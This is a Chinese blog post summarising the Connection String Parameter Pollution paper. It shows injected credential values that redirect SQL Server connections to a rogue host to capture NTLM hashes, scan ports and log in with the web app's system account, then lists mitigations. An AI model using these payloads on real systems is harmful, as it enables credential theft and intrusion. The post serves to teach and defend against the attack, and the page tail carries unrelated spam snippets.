CSPP 连接字符串参数污染攻击

访客4年前黑客工具1146

连接字符串参数污染攻击

SQL注入攻击是最常见的注入攻击 *** ,主要利用web应用调用数据库查询的实现缺陷来进行攻击。

CSPP攻击,顾名思义,则是通过利用应用程序连接到数据库过程中设计缺陷来进行漏洞攻击。

由于现在WEB应用数据查询体系的发展方向,导致CSPP攻击已经逐渐消失在大众的目光下。

如果你也不知道的话,那就来和我一起学习吧

本文主要由CSPP论文译文简述与我的额外附录组成。?并描述了CSPP攻击利用:Hash窃取、端口扫描、劫持登录证书。

参考论文: Connection String Parameter PollutionAttacks

(Connection String Parameter PollutionAttacks? 连接字符串参数污染攻击)

0X01 Web应用认证委托

典型的web应用程序的身份验证系统有两种实现结构:

1、创建自己的凭据认证系统 (目前常见于WEB应用)

2、将其委托给数据库引擎(目前常见于内网应用)

在大多数情况下,应用程序开发人员选择只使用一个用户连接数据库。

从数据库端来看,这个数据库用户代表整个web应用程序,web应用程序将使用这一个数据库连接,来实现对存储应用程序的用户身份凭证的自定义用户表进行SQL查询。

1615947323_6051663b0305ffa760d17.png!small

图1.公共web应用程序身份验证体系结构

Web应用程序管理登录过程图

1.Web应用程序使用它的凭据连接到数据库

2.查询用户登录信息

3.检查存储在用户自定义表中的用户登录信息

web应用程序由一个数据库用户标识,该用户可以访问数据库中的整个应用程序内容,因此,不可能在数据库中的不同对象上实现粒度化的权限系统,或者跟踪web应用程序中每个用户的操作,只能将这些任务委托给web应用程序本身。?这种架构很常见,可以在广泛使用的CMS系统中找到,如Joomla、Mambo和许多其他系统。通常情况下,攻击者的目标是从数据库中的users表中获取应用程序用户凭据。

另一种 *** 是将身份验证委托给数据库引擎,这样连接字符串就不再包含一组固定的凭据,而是使用用户输入的凭据,并由数据库引擎负责检查它们。

数据库管理程序经常使用这种委托身份验证,以便连接到应用程序的用户只能访问和控制他拥有权限的对象和操作。有了这种架构,就可以实现一个细粒度的权限系统,并能够在数据库中跟踪用户的操作。

1615947335_60516647489364a5338ab.png!small

图2.Web应用程序委托身份验证体系结构。

数据库引擎管理登录过程

1.web应用要求输入凭证

2.连接字符串由要连接到数据库的输入凭证组成

3.连接字符串中使用的用户的决定着账号的角色和权限

本文中描述的CSPP攻击集中于第二种环境:?将身份验证委托给数据库引擎。
tips:?较久远的内网客户端应用常用第二种架构。

0X02 连接字符串

连接字符串被用于连接应用程序到数据库引擎。

其中指定要连接的服务器和端口、数据库名称、身份验证凭据和一些连接配置参数,如超时、替代数据库、通信协议或加密选项。

一个用于连接到Microsoft SQL Server数据库的普通连接字符串:

"Data Source=Server, Port; Network Library=DBMSSOCN;Initial Catalog=DataBase; User ID=Username; Password=pwd;"

如示例所示,连接字符串是由分号(;)分隔的参数集,每个参数是一个键值对。

无论SQL server是什么版本(7,2000,2005和2008),其中默认支持程序的连接字符串语法是相同的

0X03 连接字符串注入

在授权认证环境中,连接字符串注入技术允许攻击者通过在参数后面附加分号(;)来注入参数。

在一个要求用户输入用户名和密码以创建连接字符串的示例中,攻击者可以输入密码,例如"pwd;Encryption=off",产生的连接字符串如下:

"Data Source=Server, Port; Network Library=DBMSSOCN; Initial Catalog=DataBase; User ID=Username; Password=pwd; Encryption=off"

填充连接字符串时,加密值将添加到前面配置的参数集中

0X04 ?连接字符串参数污染

参数污染技术用于覆盖参数上的值。它们在HTTP[5]环境中是众所周知的,但它们也适用于其他环境。在本例中,可以将参数污染技术应用于连接字符串中的参数,从而允许多种攻击。

示例场景:

1、一个运行在Windows的IIS Web服务器上的web应用程序,

2、其中用户认证时需要一个用户[User_Value]和一个密码[Password_Value]。

3、应用程序将用户输入的凭据用于创建到SQL?Server数据库的连接字符串,

如下所示:

Data source SQL2005; initial catalog dbl ; integrated security=no; user id=+' User_Value' + ; Password=+'Password Value' + ;

PS: integrated security 集成安全性

这个连接字符串显示了应用程序如何连接到SQL Server数据库引擎。

知道了这一点,攻击者就可以执行连接字符串参数污染攻击。

这种攻击的思想是向连接字符串添加一个具有所需值的参数,而不管该参数是否已经存在于字符串中或已经设置的值中。

.net应用创建连接字符串时默认使用连接字符串中最后一次出现的参数的值。

即,如果连接字符串有两个键为“Data Source”的参数,那么使用的值将是最后两个对中的一个,这允许以下CSPP攻击向量:

0X05 CSPP攻击1: Hash窃取

攻击者可以在Internet放置一个用于监听的欺诈SQL Server,并使用SQL Server凭证嗅探器监听(在本例中使用了CAIN?)。

攻击者会进行如下CSPP攻击:

User Value :Data Source=Rogue _ Server (欺诈服务器地址)

Password Value: Integrated Security true ? (集成安全性启用)

PS: integrated security 集成安全性

正确拼接将生成以下连接字符串:

Data source SQL2005; initial catalog dbl; integrated security=no; user id=;Data Source=Rogue_Server; Password Integrated Security=true;

此时"Data?Source"和"Integrated Security"参数被覆盖,因此SQL Server本地驱动程序将使用最后一组值,而忽略前面的值。

此时,应用程序将尝试使用运行的Windows凭据连接到欺诈服务器,该凭据可以是系统用户,也可以是应用程序池用户。此时通过在欺诈服务器嗅探,可以获取到web应用所使用的凭据。

0X05 示例1:ASP.NET Enterprise Manager

ASP.NETEnterprise Manager 是一个被遗弃的、不受支持的开源数据库工具,通过web界面来管理SQL Server数据库,这个工具还可以从SourceForge等网站上获得。

1615947352_60516658dd408a6833cf5.png!small?1615947350330

图3.利用CSPP窃取ASP.NET企业管理工具中的帐户信息

1615947365_6051666585539f246e087.png!small?1615947363924

图4.在欺诈服务器中运行的Cain收集到HASH值

HASH窃取主要流程

1、构造链接,使得服务器向欺诈服务器发起携带默认认证信息的请求。

2、最终导致在应用将凭证发往安装了数据库连接嗅探器的欺诈服务器上,

3、嗅探器CAIN成功收集到了允许访问该帐户的LM哈希。

tips:现在可以使用其他的凭证嗅探工具,如respender

1615948143_6051696fcd5b931d0a53a.png!small?1615948141225

0X07 CSPP攻击2:端口扫描

连接字符串上的一个有效参数是要连接到的端口。

攻击者可以通过修改端口号尝试连接到不同的端口,通过对比获得的错误消息,从而实现扫描内部或外部 *** 上的服务器:

注入输入值:

User_Value: Data Source=Target_Server, Target _Port

Password Value: Integrated Security true

PS: integrated security 集成安全性

此种输入将产生以下连接字符串:

Data source SQL2005; initial catalog dbl ; integrated security=no; user id=;Data Source=Target Server, Target Port; Password=; Integrated Security=true;

此连接字符串将忽略之一个“Data Source”参数,并将使用最后一个“Data Source”参数,这意味着web应用程序将尝试连接到“Server”机器上的“Target Port”端口。

观察返回的错误消息中的差异,从而可以执行端口扫描。

0x08 示例2: myLittleAdmin and myLittleBackup

mylittleleadmin和myLittleBackup都是由myLittleTools开发的商业工具。这两个工具在mylittleleadmin 3.5和myLittleBackup1.6版本之前都容易受到CSPP攻击。

1615947396_605166849019684927ac7.png!small?1615947394001图5 可以通过端口80建立到www.gooogle.com的连接

1615947402_6051668a025365ab77ae8.png!small?1615947399504图6 无法通过XX端口与www.google.com建立连接

端口扫描分析过程:

如图5所示,当端口正在监听(打开)时,获得的错误消息说没有Microsoft SQL Server正在监听,但是成功建立了TCP连接。说明端口是开放的。

如图6所示,当端口关闭时,TCP连接无法完成,错误消息是不同的。使用这些错误消息,可以在服务器上运行完整的TCP端口扫描。

0x09?CSPP攻击3:劫持Web证书

攻击者可以试图通过使用web应用程序使用系统帐户连接数据库,而不需要用户提供账号密码信息:

输入值:

User Value: Data Source=Target_Server (目标服务器)

Password Value: Integrated Security true(启用集成安全)

PS: integrated security 集成安全性

这些注入的值将产生以下连接字符串:

Data source SQL2005; initial catalog dbl ; integrated security=no; user id=;Data Source=Target Server, Target Port; Password Integrated Security=true;

这一次是主要用“True”值覆盖的“integrated security”参数。

这意味着系统将尝试使用工具正在运行的系统帐户连接数据库。

在本例中,这是web服务器中的web应用程序使用的系统帐户。

PS: integrated?security属性请看附录

0x10 示例3: SQL Server Web Data Administrator

发布在微软网站上的SQL Server Web Data Administrator版本容易受到CSPP攻击。

下面的截图显示了如何使用这种类型的攻击访问系统。

1615947414_605166960d267b2647358.png!small?1615947411425图7.在WEB Data Administrator工具上利用凭据

1615947422_6051669ea20d5364dac7f.png!small?1615947420084图8.使用服务器帐户进行控制台访问

1615947435_605166abb56f9414ec420.png!small?1615947433107图9系统帐户访问授权。

在图7中,密码值为如上所述的: integrated Security=true。

在图8中,攻击者可以登录web应用程序来管理整个系统。

如图9所示,漏洞原因是所有用户和 *** 服务都可以访问服务器。

0x11 Integrated security介绍

常规连接数据库字符串示例:

string?constr?=?"Data?source=(local);initial?catalog=data;integratedsecurity=true";

integratedsecurity=false (默认)

表示一定要输入正确的数据库登录名和密码,才能进行登录认证。

integratedsecurity=true

表示可以在不知道数据库用户名和密码的情况下时连接数据库,利用当前应用凭据进行认证。

通过构造CSPP将integrated security 覆盖为true,能够实现HASH窃取,免密登录等效果。

0x12 其他数据库连接字符串

这些技术也适用于其他数据库引擎,

如Oracle数据库,它允许管理员在数据库中设置集成的安全性。?此外,在Oracle连接字符串中,可以通过强制使用sysdba会话来改变用户连接的方式。

MySQL数据库不允许管理员配置集成的安全认证过程。然而,仍然有可能注入代码和操作连接字符串,以尝试连接到未向Internet公开的内部服务器。

各种数据库的连接字符串

mysql

"Server=localhost;Database=mytest;User=root;Password=;Port=3306;Charset=utf8"

SQL Server

"Database=MyData;DataSource=NICKYAN-PC;User Id=sa;Password=123123;"

Oracle

"DataSource=NICKYAN-PC;User Id=PB_DB_USER;Password=123123;IntegratedSecurity=no"

OleDB

"Provider=Microsoft.Jet.OLEDB.4.0;DataSource=RedGlovePermission.Web\DB\MyData.mdb;Persist Security Info=False"

追加

Integrated security介绍

常规连接数据库字符串示例:

string constr="Data source=(local);initial catalog=data;integrated security=true";

PS: integrated security 集成安全性

Integrated security存在true和=false两种可选参数

integrated security=false (默认)

表示一定要输入正确的数据库登录名和密码,才能进行登录认证。

integrated security=true

表示可以在不知道数据库用户名和密码的情况下时连接数据库,利用当前应用凭据进行认证。

通过构造CSPP将integrated security 覆盖为true,能够实现HASH窃取,免密登录等效果。

各种数据库的连接字符串

mysql

"Server=localhost;Database=mytest; User=root;Password=;Port=3306;Charset=utf8"

SQL Server

"Database=MyData;Data Source=NICKYAN-PC;User Id=sa;Password=123123;"

Oracle

"Data Source=NICKYAN-PC;User Id=PB_DB_USER;Password=123123;Integrated Security=no"

OleDB

"Provider=Microsoft.Jet.OLEDB.4.0;Data Source=RedGlovePermission.Web\DB\MyData.mdb;Persist Security Info=False"

0X13 各种数据库的连接字符串

微软发布了ConnectionStringbuilder是避免这类攻击,但并不是所有的项目都更新为使用这些新的安全组件。为了避免这些攻击,必须过滤掉分号字符,清除所有参数,并加强防火墙,以便不仅过滤入站连接,还防止来自向internet发送NTLM凭据的内部服务器的出站连接。

0x14?总结

论文篇幅比我这个长一些,多两个web凭证登录的示例,是道客巴巴买的,如果需要原版英文PDF,可以私聊

相关文章

企业网站如何从多方面提高用户粘性

企业网站如何从多方面提高用户粘性

要想判断一个网站的好坏,一是看流量,二是看用户粘性。而用户粘性正是作为检测网站是否受用户欢迎的一项指标。用户粘性高,会节约你的大量的推广成本。但是想要得到高度的用户粘性并不是容易的,得从开发设计就开始...

国外黑客连续剧(播放连续剧黑客)

国外黑客连续剧(播放连续剧黑客)

本文导读目录: 1、介绍几部电脑病毒,防火墙和电脑黑客入侵防御电影或电视剧 2、关于黑客的电影或者美剧,求推荐。在看黑客军团 3、有关于IT和黑客类的电影与电视剧有哪些? 4、有谁能够提供...

为什么月经是黑色的(月经量少颜色黑是怎么回

为什么月经是黑色的(月经量少颜色黑是怎么回事)大家都知道,每位女性每个月都会经历月经期,是人们最期待也是最烦恼的阶段。因为月经期可以显现身体健康状况。那么我想问一下大家,你们的月经量是多是少或者颜色是...

北京伴游大牌明星明星-【明名嫒】

“北京伴游大牌明星明星-【明名嫒】” 假如您要想立即迅速的开展在线预约,分配妹纸,就一定要付款订金根据二维码呢。 仅有预付款了订金妹纸助手才可以在第一时间进行服务项目,为您挑饐?适的妹纸。 要是没有付...

如何截屏

最先开启要提取的网页页面,随后另外按住锁屏键与声音减键,或是开启下拉列表,点一下手机截图就可以。 知名品牌型号规格:iPhone12,华为公司P40 系统软件:IOS14.2,EMUI11.0.0 如...

世界黑客比赛第一作品(黑客大赛第一名作品)

世界黑客比赛第一作品(黑客大赛第一名作品)

本文导读目录: 1、最著名的黑客大赛是什么? 2、有什么有名气的黑客大赛大家知道的啊? 3、今年的世界黑客大赛到底是哪个中国团队得了冠军啊?360还是keen? 4、Pwn2Own 201...